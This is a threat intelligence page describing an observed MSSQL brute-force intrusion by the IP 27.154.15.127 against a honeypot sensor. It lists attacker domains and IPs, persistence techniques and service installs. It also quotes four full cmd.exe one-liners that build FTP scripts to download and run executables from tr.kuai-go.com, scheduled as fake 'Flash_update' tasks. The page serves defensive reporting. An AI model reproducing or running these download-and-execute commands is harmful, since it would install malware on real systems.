Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 27.154.15.127Previously Malicious

IP Address: 27.154.15.127Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL

Tags

Successful MSSQL Login Persistency - Mime Filter Create MsSql Procedure DNS Query MSSQL Execute MsSql Shell Command Download and Execute IDS - Attempted User Privilege Gain CMD Service Configuration Service Start Outgoing Connection Persistency - Image Hijack Scheduled Task Creation MSSQL Brute Force Service Creation Access Suspicious Domain File Operation By CMD

Associated Attack Servers

fwq.kuai-go.com sex.zhzy999.net tr.kuai-go.com

103.44.251.241 103.122.92.215

Basic Information

IP Address

27.154.15.127

Domain

-

ISP

China Telecom fujian

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2021-01-10

Last seen in Akamai Guardicore Segmentation

2021-01-10

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ***** - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

A user logged in using MSSQL with the following credentials: sa / ***** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

MSSQL procedures were created: sp_addextendedproc , sp_addlogin , sp_addsrvrolemember and sp_password

Create MsSql Procedure

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

MSSQL executed 16 shell commands

Execute MsSql Shell Command

The command line cmd.exe /c echo 123>ftpx.txt&echo 123>>ftpx.txt&echo binary>>ftpx.txt&echo get sql.exe c:\windows\inf\rundll32.exe>>ftpx.txt&echo bye>>ftpx.txt&ftp -s:ftpx.txt tr.kuai-go.com&c:\windows\inf\rundll32.exe&del ftpx.txt was scheduled to run by modifying C:\Windows\System32\Tasks\Flash_update

The command line cmd.exe /c echo 123>1.log&echo 123>>1.log&echo binary>>1.log&echo get 1.exe c:\windows\inf\1.exe>>1.log&echo bye>>1.log&ftp -s:1.log tr.kuai-go.com&c:\windows\inf\1.exe&del 1.log was scheduled to run by modifying C:\Windows\System32\Tasks\Flash_update1

The command line cmd.exe /c echo 123>2.log&echo 123>>2.log&echo binary>>2.log&echo get 2.exe c:\windows\inf\2.exe>>2.log&echo bye>>2.log&ftp -s:2.log tr.kuai-go.com&c:\windows\inf\2.exe&del 2.log was scheduled to run by modifying C:\Windows\System32\Tasks\Flash_update2

The command line cmd.exe /c echo 123>3.log&echo 123>>3.log&echo binary>>3.log&echo get 3.exe c:\windows\inf\3.exe>>3.log&echo bye>>3.log&ftp -s:3.log tr.kuai-go.com&c:\windows\inf\3.exe&del 3.log was scheduled to run by modifying C:\Windows\System32\Tasks\Flash_update3

A user logged in using MSSQL with the following credentials: sa / ***** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 2 times

MSSQL Brute Force Successful MSSQL Login

Process c:\windows\system32\cscript.exe attempted to access suspicious domains: sx.zhzy999.net

DNS Query Access Suspicious Domain

Process c:\windows\system32\wscript.exe attempted to access suspicious domains: sex.zhzy999.net

DNS Query Access Suspicious Domain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : MS-SQL SQL Injection closing string plus line comment

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_reg* - registry access

IDS - Attempted User Privilege Gain

c:\program files\microsoft sql server\mssql11.sqlexpress\mssql\binn\sqlservr.exe set the command line c:\windows\system32\taskmgr.exe to run using Persistency - Image Hijack

Persistency - Image Hijack

Process c:\windows\system32\ftp.exe attempted to access suspicious domains: tr.kuai-go.com 4 times

DNS Query Access Suspicious Domain Outgoing Connection

Process c:\windows\system32\ftp.exe generated outgoing network traffic to: 103.44.251.241:21 4 times

Outgoing Connection

c:\windows\system32\regsvr32.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry

Persistency - Mime Filter

c:\windows\system32\jscript.dll installed a Persistency - Mime Filter backdoor by modifying Windows Registry

Persistency - Mime Filter

c:\windows\system32\regsvr32.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry 6 times

Persistency - Mime Filter

c:\windows\system32\jscript.dll installed a Persistency - Mime Filter backdoor by modifying Windows Registry

Persistency - Mime Filter

c:\windows\system32\regsvr32.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry

Persistency - Mime Filter

c:\windows\system32\jscript.dll installed a Persistency - Mime Filter backdoor by modifying Windows Registry

Persistency - Mime Filter

c:\windows\system32\regsvr32.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry

Persistency - Mime Filter

c:\windows\system32\jscript.dll installed a Persistency - Mime Filter backdoor by modifying Windows Registry

Persistency - Mime Filter

c:\windows\system32\regsvr32.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry 3 times

Persistency - Mime Filter

c:\windows\system32\jscript.dll installed a Persistency - Mime Filter backdoor by modifying Windows Registry

Persistency - Mime Filter

c:\windows\system32\regsvr32.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry

Persistency - Mime Filter

c:\windows\system32\jscript.dll installed a Persistency - Mime Filter backdoor by modifying Windows Registry

Persistency - Mime Filter

c:\windows\system32\regsvr32.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry

Persistency - Mime Filter

c:\windows\system32\services.exe installed and started c:\programdata\364968.dll as a service named dmw under service group None 2 times

Service Start Service Creation

Process c:\windows\system32\ftp.exe attempted to access suspicious domains: tr.kuai-go.com

DNS Query Access Suspicious Domain Outgoing Connection

Process c:\windows\system32\ftp.exe generated outgoing network traffic to: 103.44.251.241:21

Outgoing Connection

The file C:\Windows\SysWOW64\dmw.exe was downloaded and executed

Download and Execute

Process c:\windows\syswow64\dmw.exe attempted to access suspicious domains: fwq.kuai-go.com

DNS Query Access Suspicious Domain Outgoing Connection

Process c:\windows\system32\taskkill.exe generated outgoing network traffic to: 103.122.92.215:12353

Connection was closed due to timeout